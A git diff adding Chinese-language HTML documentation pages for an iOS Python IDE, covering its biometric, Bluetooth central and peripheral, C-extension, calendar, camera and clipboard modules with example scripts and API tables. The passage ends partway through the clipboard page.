+

authenticate_with_passcode(reason) — 推荐用于解锁流程;生物失败时可输入设备密码。

+
+
+ python +
+
+
result = biometric.authenticate_with_passcode("打开安全笔记")
+if result.get("success"):
+    # 继续读取 keychain 等操作
+    ...
+else:
+    print(result.get("error"))
+
+

返回字典常见字段:

+
字段说明
success认证是否通过
error失败或取消时的原因
+
注意reason 会显示在系统弹窗中,用简短中文说明用途,如「验证身份以查看 API Key」。
+
+

#常见错误

+
错误写法后果修正
body()authenticate()刷新时反复弹窗放进按钮回调
if biometric.authenticate(...):dict 恒为真值检查 result.get("success")
认证成功打印 token敏感信息进日志只显示「已解锁」
用户取消后反复弹窗体验差保持锁定并提示原因
+
+

#相关文档

+
文档用途
keychain认证通过后读取 token
permission统一权限查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/ble-peripheral-module/index.html b/docs/docs/pages/ble-peripheral-module/index.html new file mode 100644 index 0000000..8bd7cd0 --- /dev/null +++ b/docs/docs/pages/ble-peripheral-module/index.html @@ -0,0 +1,465 @@ + + + + + + ble_peripheral - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

ble_peripheral

+

BLE 外设广播模式。

+
+ +
+

BLE 外设模式:让本机作为蓝牙外设广播,供其他设备(中心端)扫描连接。

+
边界:与 bluetooth 中心端(扫描/连接)互补——本模块做外设广播。需要蓝牙硬件开启;模拟器通常不可用。广播和 update_value() 放在按钮回调,不要在 body() 中自动启动。
+

#模块概览

+
说明
导入import ble_peripheral
适合做什么传感器数据广播、简易 BLE 信标、与自定义中心 App 配对
调用时机用户点击后开始 start_advertising(),离开页面时 stop_advertising()
推荐顺序start_advertising()status() 确认 → update_value() 推送数据
UUIDservice_uuid 必填;characteristic_uuid 省略时默认与 service 相同
+
+

#快速开始

+

下面脚本启动广播、查看状态并停止:

+
+
+ python +
+
+
import ble_peripheral
+
+SERVICE = "12345678-1234-1234-1234-123456789ABC"
+
+try:
+    ble_peripheral.start_advertising(
+        "PyMiniApp",
+        SERVICE,
+        initial_value="hello",
+    )
+    print(ble_peripheral.status())
+    ble_peripheral.update_value("ping")
+    print(ble_peripheral.status())
+finally:
+    ble_peripheral.stop_advertising()
+
+
+

#AppUI 示例

+

开始/停止广播放在按钮回调;用 try/except 处理蓝牙未开启。

+
+
+ python +
+
+
import appui
+import ble_peripheral
+
+SERVICE = "12345678-1234-1234-1234-123456789ABC"
+DEVICE_NAME = "PyMiniApp"
+
+state = appui.State(
+    advertising=False,
+    name="—",
+    service="—",
+    payload="hello",
+    status="点击开始广播",
+)
+
+
+def refresh_status():
+    try:
+        st = ble_peripheral.status() or {}
+        state.batch_update(
+            advertising=bool(st.get("advertising")),
+            name=st.get("name") or "—",
+            service=st.get("service_uuid") or "—",
+        )
+    except ble_peripheral.BlePeripheralError as exc:
+        state.status = f"状态查询失败: {exc}"
+
+
+def start_adv():
+    try:
+        ble_peripheral.start_advertising(
+            DEVICE_NAME,
+            SERVICE,
+            initial_value=state.payload,
+        )
+        refresh_status()
+        state.status = "正在广播"
+    except ble_peripheral.BlePeripheralError as exc:
+        state.status = f"无法开始: {exc}(请开启蓝牙)"
+
+
+def stop_adv():
+    try:
+        ble_peripheral.stop_advertising()
+        state.batch_update(
+            advertising=False,
+            name="—",
+            service="—",
+            status="已停止广播",
+        )
+    except ble_peripheral.BlePeripheralError as exc:
+        state.status = f"停止失败: {exc}"
+
+
+def push_value():
+    if not state.advertising:
+        state.status = "请先开始广播"
+        return
+    try:
+        ble_peripheral.update_value(state.payload)
+        state.status = f"已推送: {state.payload}"
+    except ble_peripheral.BlePeripheralError as exc:
+        state.status = f"推送失败: {exc}"
+
+
+def body():
+    label = "停止广播" if state.advertising else "开始广播"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("外设状态", [
+                appui.LabeledContent("广播中", value="是" if state.advertising else "否"),
+                appui.LabeledContent("名称", value=state.name),
+                appui.LabeledContent("服务 UUID", value=state.service),
+            ]),
+            appui.Section("数据", [
+                appui.TextField("特征值", text=state.payload),
+                appui.Button("推送特征值", action=push_value),
+            ]),
+            appui.Section("操作", [
+                appui.Button(label, action=stop_adv if state.advertising else start_adv)
+                .button_style("bordered_prominent"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="真机 + 蓝牙开启;中心端用 bluetooth 模块扫描连接。"),
+        ]).navigation_title("BLE 外设")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
start_advertising(name, service_uuid, ...)开始 BLE 广播
stop_advertising()停止广播并清理服务
status(){advertising, name, service_uuid}
update_value(value)更新特征值并通知订阅方
BlePeripheralError操作失败时抛出
+

#start_advertising

+

start_advertising(name, service_uuid, characteristic_uuid=None, initial_value=None)

+
+
+ python +
+
+
ble_peripheral.start_advertising(
+    "SensorHub",
+    "12345678-1234-1234-1234-123456789ABC",
+    characteristic_uuid="ABCDEF00-0000-0000-0000-000000000001",
+    initial_value="42",
+)
+
+
参数说明
name广播本地名称
service_uuid服务 UUID
characteristic_uuid特征 UUID;省略时用 service UUID
initial_value初始特征值(UTF-8 文本)
+

特征支持 read / write / notify。

+

#status

+

status() 返回:

+
字段说明
advertising是否正在广播
name当前广播名称
service_uuid服务 UUID
+

#update_value

+

update_value(value) — 更新特征值(UTF-8 字符串),并向已订阅的中心端发送通知。须先 start_advertising()

+

#异常

+
code含义
unavailable蓝牙未开启
invalid_input缺少 name / service_uuid
invalid_state未广播时调用 update_value
+
+

#常见错误

+
错误写法后果修正
body()start_advertising()刷新时重复广播放进按钮回调
模拟器测试蓝牙不可用用真机
bluetooth 中心模式混淆调错 API扫描连接用 bluetooth,广播用本模块
页面离开不 stop_advertising()持续耗电停止按钮或生命周期回调里清理
+
+

#相关文档

+
文档用途
bluetoothBLE 中心端扫描/连接/读写
permission蓝牙权限状态查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/bluetooth-module/index.html b/docs/docs/pages/bluetooth-module/index.html new file mode 100644 index 0000000..9f867b1 --- /dev/null +++ b/docs/docs/pages/bluetooth-module/index.html @@ -0,0 +1,495 @@ + + + + + + bluetooth - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

bluetooth

+

BLE 扫描、连接、服务发现和特征读写。

+
+ +
+

BLE 中心模式:扫描外设、连接、发现服务、读写特征值。

+
边界:面向低功耗蓝牙中心端(扫描/连接其他设备),不是普通 HTTP/WebSocket 网络。若要让本机被扫描,请用 ble_peripheral。需要蓝牙硬件与系统授权;扫描、连接放在按钮回调,不要在 body() 里自动执行。
+

#模块概览

+
说明
导入import bluetooth
适合做什么传感器读取、Beacon 探测、自定义 BLE 外设通信
调用时机scan / connect / read / write 放在按钮回调
推荐顺序state()scan()connect()discover_services() → 读写 → disconnect()
数据格式write() 传 Base64 字符串;read() 返回 Base64
+
+

#快速开始

+

下面脚本检查蓝牙状态并扫描 5 秒:

+
+
+ python +
+
+
import bluetooth
+
+print("状态:", bluetooth.state())
+if bluetooth.state() == "powered_on":
+    devices = bluetooth.scan(duration=5)
+    for d in devices:
+        print(d.get("name"), d.get("uuid"), d.get("rssi"))
+else:
+    print("蓝牙不可用,请到设置中开启")
+
+

连接并发现服务:

+
+
+ python +
+
+
import bluetooth
+
+if bluetooth.state() == "powered_on":
+    devices = bluetooth.scan(duration=5.0)
+    if devices:
+        uuid = devices[0]["uuid"]
+        result = bluetooth.connect(uuid)
+        if result == "ok":
+            try:
+                services = bluetooth.discover_services(uuid)
+                print(f"发现 {len(services)} 个服务")
+            finally:
+                bluetooth.disconnect(uuid)
+        else:
+            print("连接失败:", result)
+
+
+

#AppUI 示例

+

扫描、连接分步放在按钮回调;失败时保留可读状态。

+
+
+ python +
+
+
import appui
+import bluetooth
+
+state = appui.State(
+    ble_state="—",
+    device_count="0",
+    status="未扫描",
+    detail="点击扫描开始",
+)
+
+session = {"uuid": None}
+
+
+def refresh_ble_state():
+    state.ble_state = str(bluetooth.state())
+
+
+def scan_devices():
+    refresh_ble_state()
+    if state.ble_state != "powered_on":
+        state.batch_update(
+            status="蓝牙不可用",
+            detail=f"当前: {state.ble_state}",
+            device_count="0",
+        )
+        return
+
+    devices = bluetooth.scan(duration=5.0) or []
+    state.device_count = str(len(devices))
+    if not devices:
+        state.batch_update(
+            status="未发现设备",
+            detail="请靠近外设后重试",
+        )
+        return
+
+    target = devices[0]
+    session["uuid"] = target.get("uuid")
+    name = target.get("name") or "未命名设备"
+    state.batch_update(
+        status="已发现设备",
+        detail=f"{name} · RSSI {target.get('rssi', '—')}",
+    )
+
+
+def connect_first():
+    uuid = session.get("uuid")
+    if not uuid:
+        state.detail = "请先扫描"
+        return
+
+    result = bluetooth.connect(uuid)
+    if result != "ok":
+        state.batch_update(status="连接失败", detail=str(result))
+        return
+
+    services = bluetooth.discover_services(uuid) or []
+    state.batch_update(
+        status="已连接",
+        detail=f"{len(services)} 个服务",
+    )
+
+
+def disconnect_device():
+    uuid = session.get("uuid")
+    if uuid:
+        bluetooth.disconnect(uuid)
+    session["uuid"] = None
+    state.batch_update(status="已断开", detail="连接已释放")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("蓝牙", [
+                appui.LabeledContent("系统状态", value=state.ble_state),
+                appui.LabeledContent("扫描结果", value=state.device_count),
+                appui.Button("刷新状态", action=refresh_ble_state),
+                appui.Button("扫描设备", action=scan_devices)
+                .button_style("bordered_prominent"),
+                appui.Button("连接第一个", action=connect_first),
+                appui.Button("断开", action=disconnect_device, role="destructive"),
+            ]),
+            appui.Section("详情", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.Text(state.detail).foreground_color("secondaryLabel"),
+            ], footer="真机测试;示例只连扫描到的第一台设备。"),
+        ]).navigation_title("蓝牙")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
state()BLE 状态字符串
scan(duration)扫描外设列表
stop_scan()立即停止扫描
connect(uuid)连接 → ok 或错误信息
disconnect(uuid)断开连接
discover_services(uuid)服务与特征列表
read(...)读特征 → Base64 字符串
write(...)写特征(Base64 入参)→ bool
+

#状态与扫描

+

state() 常见返回值:

+
含义
powered_on蓝牙已开启,可扫描
powered_off蓝牙关闭
unauthorized未授权
unsupported设备不支持 BLE
+

scan(duration=5.0) — 返回 [{uuid, name, rssi}, ...]

+
+
+ python +
+
+
devices = bluetooth.scan(duration=3.0)
+bluetooth.stop_scan()  # 提前结束
+
+

#连接与发现

+

connect(uuid) — 成功返回 "ok",失败返回错误描述字符串(不是异常)。

+

discover_services(uuid) — 返回服务字典列表(含特征 UUID),须先连接成功。

+

#读写特征

+
+
+ python +
+
+
import base64
+
+data_b64 = bluetooth.read(peripheral_uuid, service_uuid, char_uuid)
+raw = base64.b64decode(data_b64) if data_b64 else b""
+
+payload = base64.b64encode(b"hello").decode("ascii")
+ok = bluetooth.write(peripheral_uuid, service_uuid, char_uuid, payload)
+
+

write() 的第四个参数必须是 Base64 字符串,不要直接传 bytes

+

#推荐流程

+
  1. state() 确认 powered_on
  2. scan() 找到目标 uuid
  3. connect(uuid)
  4. discover_services(uuid) 获取 service_uuid / characteristic_uuid
  5. read() / write()
  6. disconnect(uuid)(建议 try/finally
+
+

#常见错误

+
错误写法后果修正
判断 poweredOn永远不匹配使用 powered_on
write() 直接传 bytes类型错误base64.b64encode
不检查 connect 返回值未连接就读写判断 == "ok"
忘记 disconnect()连接残留finally 里断开
body()scan()刷新时反复扫描耗电放进按钮回调
ble_peripheral 混淆调错 API广播用外设模块
+
+

#相关文档

+
文档用途
ble_peripheral本机作为 BLE 外设广播
networkHTTP 网络请求
websocketWebSocket 连接
permission蓝牙权限状态查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/c-extensions-module/index.html b/docs/docs/pages/c-extensions-module/index.html new file mode 100644 index 0000000..a0eca4d --- /dev/null +++ b/docs/docs/pages/c-extensions-module/index.html @@ -0,0 +1,423 @@ + + + + + + c_extensions - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

c_extensions

+

内置扩展库清单、可用范围和替代建议。

+
+ +
+

内置 C 扩展库清单、可用范围与替代建议。文档页,不是可导入模块。

+
边界:不要写 import c_extensions。第三方含 C/Rust/native 扩展的包,仅已内置或当前环境能安装的可用;opencvtorchscipy 等桌面常见包通常无法直接 pip 到 iOS。优先用内置包、纯 Python 或 PythonIDE 原生模块。
+

#模块概览

+
说明
导入无;使用真实包名如 import numpy
适合做什么判断能否 import、选替代路线、写降级逻辑
调用时机脚本开头 try/except ImportError
推荐顺序查下表 → 尝试 import → 失败则换路线
OCR/MLvisioncoreml,非 pip 装 CV 包
+
+

#快速开始

+

安全使用已内置的 numpy

+
+
+ python +
+
+
try:
+    import numpy as np
+except ImportError:
+    np = None
+
+values = [1, 2, 3, 4, 5]
+if np is None:
+    mean = sum(values) / len(values)
+else:
+    mean = float(np.array(values).mean())
+print(mean)
+
+
+

#AppUI 示例

+

在界面展示「内置包可用 / 未内置包需替代」的检查结果(逻辑放按钮回调)。

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    numpy_ok="—",
+    cv2_ok="—",
+    hint="点击检查",
+)
+
+BUILTIN_TRY = [
+    ("numpy", "numpy_ok"),
+    ("cv2", "cv2_ok"),
+]
+
+
+def check_imports():
+    for module, attr in BUILTIN_TRY:
+        try:
+            __import__(module)
+            setattr(state, attr, "可导入")
+        except ImportError:
+            setattr(state, attr, "未内置")
+
+    if state.numpy_ok == "可导入":
+        state.hint = "数组统计可用 numpy"
+    elif state.cv2_ok == "未内置":
+        state.hint = "图像处理请用 vision / vision_helper / coreml"
+    else:
+        state.hint = "检查完成"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("检查", [
+                appui.Button("检查常见包", action=check_imports)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("numpy", value=state.numpy_ok),
+                appui.LabeledContent("cv2", value=state.cv2_ok),
+                appui.Text(state.hint).foreground_color("secondaryLabel"),
+            ], footer="c_extensions 是文档索引,不是 import 名。"),
+        ]).navigation_title("C 扩展")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#已内置 C 扩展库(节选)

+
典型用途
numpy数组、矩阵、统计
pandas表格数据处理
matplotlib绘图(亦可 AppUI Chart)
cryptography / bcrypt / argon2-cffi加密与哈希
msgpack / msgspec / ujson / rapidjson高性能序列化
zstandard / xxhash压缩与哈希
PyYAML / ruamel.yamlYAML
regex / tornado / httptools工具库
+

完整列表见应用内文档生成源;新增内置包以运行时为准。

+

#常见未内置包

+

cv2opencvscipyscikit-learnsklearntensorflowtorchtorchvisionlxmlpsutilh5pynumbacythongevent 等。

+

#替代路线

+
需求优先选择
数组、统计numpypandas
绘图matplotlibappui Chart
OCR、条码、人脸visionvision_helper
图片分类模型coreml
哈希、压缩xxhashzstandard
iOS 设备能力对应原生模块
+

#降级模式

+
+
+ python +
+
+
try:
+    import numpy as np
+except ImportError:
+    np = None
+
+def mean_value(values):
+    if np is None:
+        return sum(values) / len(values)
+    return float(np.array(values).mean())
+
+
+

#常见错误

+
错误写法后果修正
import c_extensions模块不存在使用真实包名
桌面 pip 经验直接套 iOS安装失败查内置表或换原生模块
ImportError 处理脚本直接崩溃try/except + 纯 Python 降级
用未内置 CV 包做 OCR不可用vision
+
+

#相关文档

+
文档用途
coreml端侧图像模型
vision_helperVision 检测 API
原生能力入口iOS 模块索引
+

#先选路线

+
路线何时选
内置原生模块优先查 iOS 原生能力
pip / 纯 Python仅在沙盒允许且已有 wheel 时
C 扩展编译仅高级场景;先评估维护成本
+

#发布前检查

+
  • 确认目标能力是否已有官方模块或 AppUI 组件
  • 在真机验证权限、离线场景与失败返回值
  • 不要把未审核的扩展当作 App Store 可发布方案
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/calendar-events-module/index.html b/docs/docs/pages/calendar-events-module/index.html new file mode 100644 index 0000000..290cce7 --- /dev/null +++ b/docs/docs/pages/calendar-events-module/index.html @@ -0,0 +1,489 @@ + + + + + + calendar_events - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

calendar_events

+

日历事件、提醒事项和 EventKit 权限。

+
+ +
+

日历与提醒事项:读取/写入 EventKit 事件,管理提醒待办。

+
边界:事件和提醒是两个独立权限。写日历用 request_access(),写提醒用 request_reminder_access()。时间参数用 Unix timestamp,不是日期字符串。
+

#模块概览

+
说明
导入import calendar_events
适合做什么创建会议/专注块、查日程、创建/完成提醒
调用时机权限、读取、写入都放在按钮回调
推荐顺序申请对应权限 → 创建/查询 → 保存返回的 id 供删除
时间格式start / end / due_timestamp 均为 Unix 秒级时间戳
+
+

#快速开始

+

下面脚本申请日历权限,创建 1 小时专注块:

+
+
+ python +
+
+
import time
+import calendar_events
+
+status = calendar_events.authorization_status()
+if status != "authorized":
+    status = calendar_events.request_access()
+
+if status == "authorized":
+    now = time.time()
+    event = calendar_events.create_event(
+        "专注时间",
+        now + 3600,
+        now + 7200,
+        notes="来自 PythonIDE",
+    )
+    print("已创建:", event)
+else:
+    print("日历未授权:", status)
+
+
+

#AppUI 示例

+

权限、创建和查询都放在按钮回调;未授权时展示状态,不继续写入。

+
+
+ python +
+
+
import time
+
+import appui
+import calendar_events
+
+state = appui.State(
+    calendar_auth="未查询",
+    status="等待操作",
+    result="—",
+)
+
+
+def refresh_auth():
+    state.calendar_auth = calendar_events.authorization_status()
+
+
+def create_focus_block():
+    status = calendar_events.request_access()
+    state.calendar_auth = status
+    if status != "authorized":
+        state.batch_update(status="日历未授权", result=str(status))
+        return
+
+    now = time.time()
+    event = calendar_events.create_event(
+        "专注时间",
+        now + 3600,
+        now + 7200,
+        notes="来自 PythonIDE",
+    )
+    state.batch_update(status="事件已创建", result=str(event))
+
+
+def create_reminder():
+    status = calendar_events.request_reminder_access()
+    if status != "authorized":
+        state.batch_update(status="提醒未授权", result=str(status))
+        return
+
+    reminder = calendar_events.create_reminder(
+        "整理笔记",
+        notes="来自 PythonIDE",
+        due_timestamp=time.time() + 3600,
+    )
+    state.batch_update(status="提醒已创建", result=str(reminder))
+
+
+def list_today():
+    status = calendar_events.request_access()
+    state.calendar_auth = status
+    if status != "authorized":
+        state.batch_update(status="日历未授权", result="—")
+        return
+
+    now = time.time()
+    events = calendar_events.get_events(now, now + 86400)
+    state.batch_update(
+        status="查询完成",
+        result=f"未来 24 小时共 {len(events)} 个事件",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("权限", [
+                appui.LabeledContent("日历授权", value=state.calendar_auth),
+                appui.Button("刷新授权状态", action=refresh_auth),
+            ]),
+            appui.Section("操作", [
+                appui.Button("创建专注块", action=create_focus_block)
+                .button_style("bordered_prominent"),
+                appui.Button("创建提醒", action=create_reminder),
+                appui.Button("查询今日事件", action=list_today),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.Text(state.result).font("caption").foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("日历")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
authorization_status() / request_access()日历事件权限
request_reminder_access()提醒事项权限
get_calendars()可用日历列表
get_events(start, end)查询时间范围内事件
create_event(title, start, end, ...)创建日历事件
delete_event(event_id)删除事件 → bool
get_reminders()提醒列表
create_reminder(title, ...)创建提醒
complete_reminder(id) / delete_reminder(id)完成/删除提醒
+

#日历事件

+

权限:

+
+
+ python +
+
+
status = calendar_events.authorization_status()
+if status != "authorized":
+    status = calendar_events.request_access()
+
+

get_calendars() — 返回可写入的日历列表,可选 calendar_id 传给 create_event

+

get_events(start, end, calendar_id=None) — 查询时间范围内事件,start/end 为 Unix timestamp。

+

create_event(title, start, end, *, notes=None, location=None, calendar_id=None, all_day=False) — 创建事件;end 必须晚于 start

+
+
+ python +
+
+
import time
+
+now = time.time()
+event = calendar_events.create_event(
+    "团队会议",
+    now + 3600,
+    now + 5400,
+    notes="周会",
+    location="会议室 A",
+)
+event_id = event.get("id")  # 保存 id 供后续删除
+
+

delete_event(event_id) — 返回 True/False

+

#提醒事项

+

提醒需要单独申请权限:

+
+
+ python +
+
+
if calendar_events.request_reminder_access() == "authorized":
+    reminder = calendar_events.create_reminder(
+        "提交报告",
+        notes="下班前",
+        due_timestamp=time.time() + 7200,
+    )
+
+
API说明
get_reminders()读取提醒列表
create_reminder(title, notes=None, due_timestamp=None)创建提醒
complete_reminder(reminder_id)标记完成
delete_reminder(reminder_id)删除提醒
+
+

#常见错误

+
错误写法后果修正
写提醒前只申请日历权限提醒仍无权限request_reminder_access()
传日期字符串给 create_event时间错误传 Unix timestamp
不保存事件 id后续无法删除保存 create_event 返回的 id
end <= start创建失败确保结束时间晚于开始
+
+

#相关文档

+
文档用途
notification本地定时提醒(非日历)
permission统一权限查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/camera-module/index.html b/docs/docs/pages/camera-module/index.html new file mode 100644 index 0000000..94c7a41 --- /dev/null +++ b/docs/docs/pages/camera-module/index.html @@ -0,0 +1,471 @@ + + + + + + camera - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

camera

+

系统相机拍照与 AppUI CameraPicker。

+
+ +
+

系统相机拍照:弹出相机界面,返回 PIL.Image 或 Base64 字符串。

+
边界:无独立 import camera 模块,拍照 API 在 photoscapture_image() / capture_image_base64()。录像请用 video_recorder。统一 permissionrequest("camera") 暂不支持弹窗;首次拍照时系统可能提示,或在设置中开启相机权限。
+

#模块概览

+
说明
导入import photos
适合做什么拍照存档、视觉识别前置、现场采集图片
调用时机capture_image() 放在按钮回调;不要写在 AppUI body()
推荐顺序用户点击 → capture_image() → 判空 → 处理或 save_image()
AppUI 替代声明式界面可用 appui.CameraPicker(回调返回文件路径)
+
+

#快速开始

+

下面脚本打开相机拍一张,打印尺寸;用户取消时友好退出:

+
+
+ python +
+
+
import photos
+
+image = photos.capture_image()
+if image is None:
+    print("用户取消拍照")
+else:
+    width, height = photos.get_image_size(image)
+    print(f"已拍摄 {width}×{height}")
+    ok = photos.save_image(image, format="JPEG", quality=0.85)
+    print("保存到相册:", "成功" if ok else "失败")
+
+

需要 Base64(如 vision_helper)时:

+
+
+ python +
+
+
import photos
+
+payload = photos.capture_image_base64(format="JPEG", quality=0.85)
+if payload:
+    print("Base64 长度:", len(payload))
+
+
+

#AppUI 示例 {#appui-camera-picker}

+

脚本式拍照放按钮回调;界面内也可嵌入 CameraPicker

+
+
+ python +
+
+
import appui
+import photos
+
+state = appui.State(
+    status="等待操作",
+    size="—",
+    path="",
+    message="点击按钮或下方拍照控件",
+)
+
+
+def capture_with_photos():
+    image = photos.capture_image()
+    if image is None:
+        state.batch_update(
+            status="已取消",
+            size="—",
+            path="",
+            message="用户取消拍照",
+        )
+        return
+
+    width, height = photos.get_image_size(image)
+    state.batch_update(
+        status="已拍照",
+        size=f"{width}×{height}",
+        path="内存图像(PIL/bytes)",
+        message="可用 save_image 写入相册",
+    )
+
+
+def on_camera_picked(path):
+    state.batch_update(
+        status="CameraPicker 完成",
+        size="—",
+        path=path or "",
+        message="已取消" if not path else "收到临时文件路径",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("脚本拍照", [
+                appui.Button("打开相机(photos)", action=capture_with_photos)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("声明式拍照", [
+                appui.CameraPicker(
+                    source="camera",
+                    media_type="photo",
+                    on_captured=on_camera_picked,
+                    label=appui.Label("拍照", system_image="camera.fill"),
+                ),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.LabeledContent("尺寸", value=state.size),
+                appui.Text(state.path).font("caption").foreground_color("secondaryLabel"),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ], footer="真机测试最可靠;模拟器可能无相机。"),
+        ]).navigation_title("相机")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
capture_image(...)系统相机拍照 → PIL.Image / None
capture_image_base64(...)拍照 → Base64 字符串 / None
save_image(image, ...)保存到相册 → bool
get_image_size(image)尺寸 → (width, height)
appui.CameraPicker(...)AppUI 相机控件,回调文件路径
+

#拍照

+

capture_image(camera="back", show_preview=True, flash="auto", **kwargs)

+
+
+ python +
+
+
image = photos.capture_image()
+if image is None:
+    print("取消或失败")
+
+

cameraflash 等参数为 Pythonista 兼容入口,实际由系统相机界面控制。取消返回 None

+

capture_image_base64(format="JPEG", quality=0.85) — 直接返回 Base64,适合传给 vision_helper

+

#AppUI CameraPicker

+
参数说明
sourcecamera(后置)/ front(前置)
media_typephoto / video
on_captured回调 (path: str),取消时可能为空
label自定义按钮内容
+
+
+ python +
+
+
def on_selfie_captured(path):
+    print(path)
+
+
+appui.CameraPicker(
+    source="front",
+    media_type="photo",
+    on_captured=on_selfie_captured,
+    label=appui.Label("自拍", system_image="camera"),
+)
+
+

CameraPicker 把图片写到临时目录并返回路径;photos.capture_image() 返回内存图像对象。

+

#权限

+
+
+ python +
+
+
import permission
+
+entry = permission.status("camera")  # 仅查询,不弹窗
+
+

permission.request("camera") 当前不会弹出授权框;直接调用 capture_image(),由系统在需要时提示。

+
+

#常见错误

+
错误写法后果修正
if permission.request("camera"):判断错误且暂不支持直接 capture_image() 并判 None
body()capture_image()刷新时反复弹相机放进按钮回调
不处理 None用户取消后崩溃if image is None: return
录像用 capture_image()无法录视频video_recorderCameraPicker(media_type="video")
+
+

#相关文档

+
文档用途
photos选图、相册读写、保存
video_recorder摄像头录像
vision_helperBase64 检测
permission相机权限状态查询
AppUI 媒体参考CameraPicker 完整签名
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/clipboard-module/index.html b/docs/docs/pages/clipboard-module/index.html new file mode 100644 index 0000000..c906d81 --- /dev/null +++ b/docs/docs/pages/clipboard-module/index.html @@ -0,0 +1,432 @@ + + + + + + clipboard - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

clipboard

+

读取、写入和清空系统剪贴板。

+
+ +
+

读写系统剪贴板:复制、粘贴、清空文本。

+
边界:适合用户明确的复制/粘贴动作,不是持久化存储。token / 密码请用 keychain;长期保存文本用 storage。剪贴板是系统共享状态,其他 App 可能改写内容。
+

#模块概览

+
说明
导入import clipboard
适合做什么复制链接/代码、粘贴用户剪贴内容、分享前准备
调用时机放在按钮回调;不要在启动时静默 set 覆盖用户剪贴板
推荐顺序用户点击复制 → set → 更新状态;粘贴时 get 并判空
兼容别名get_text() / set_text() 等同于 get() / set()
+
+

#快速开始

+

下面脚本写入、读取并清空剪贴板:

+
+
+ python +
+
+
import clipboard
+
+clipboard.set("来自 PythonIDE 的文本")
+print("剪贴板:", clipboard.get())
+
+clipboard.clear()
+print("清空后:", repr(clipboard.get()))
+
+
+

#AppUI 示例

+

复制和粘贴都放在按钮回调里,操作后给出可见反馈。

+
+
+ python +
+
+
import appui
+import clipboard
+
+state = appui.State(
+    text="https://www.python.org",
+    status="等待操作",
+    preview="—",
+)
+
+
+def update_text(value):
+    state.text = value
+
+
+def copy_text():
+    if not state.text.strip():
+        state.status = "没有可复制的内容"
+        return
+    clipboard.set(state.text)
+    state.batch_update(
+        status="已复制到剪贴板",
+        preview=state.text[:60] + ("…" if len(state.text) > 60 else ""),
+    )
+
+
+def paste_text():
+    value = clipboard.get()
+    if value:
+        state.batch_update(
+            text=value,
+            status="已从剪贴板粘贴",
+            preview=value[:60] + ("…" if len(value) > 60 else ""),
+        )
+    else:
+        state.status = "剪贴板为空"
+
+
+def clear_clipboard():
+    clipboard.clear()
+    state.batch_update(status="已清空剪贴板", preview="—")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("文本", [
+                appui.TextField("内容", text=state.text, on_change=update_text),
+                appui.LabeledContent("预览", value=state.preview),
+            ]),
+            appui.Section("操作", [
+                appui.Button("复制", action=copy_text)
+                .button_style("bordered_prominent"),
+                appui.Button("粘贴", action=paste_text),
+                appui.Button("清空剪贴板", action=clear_clipboard, role="destructive"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("剪贴板")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
get()读取剪贴板文字 → str(空时 ""
set(text)写入字符串
clear()清空剪贴板
get_text()兼容别名,同 get()
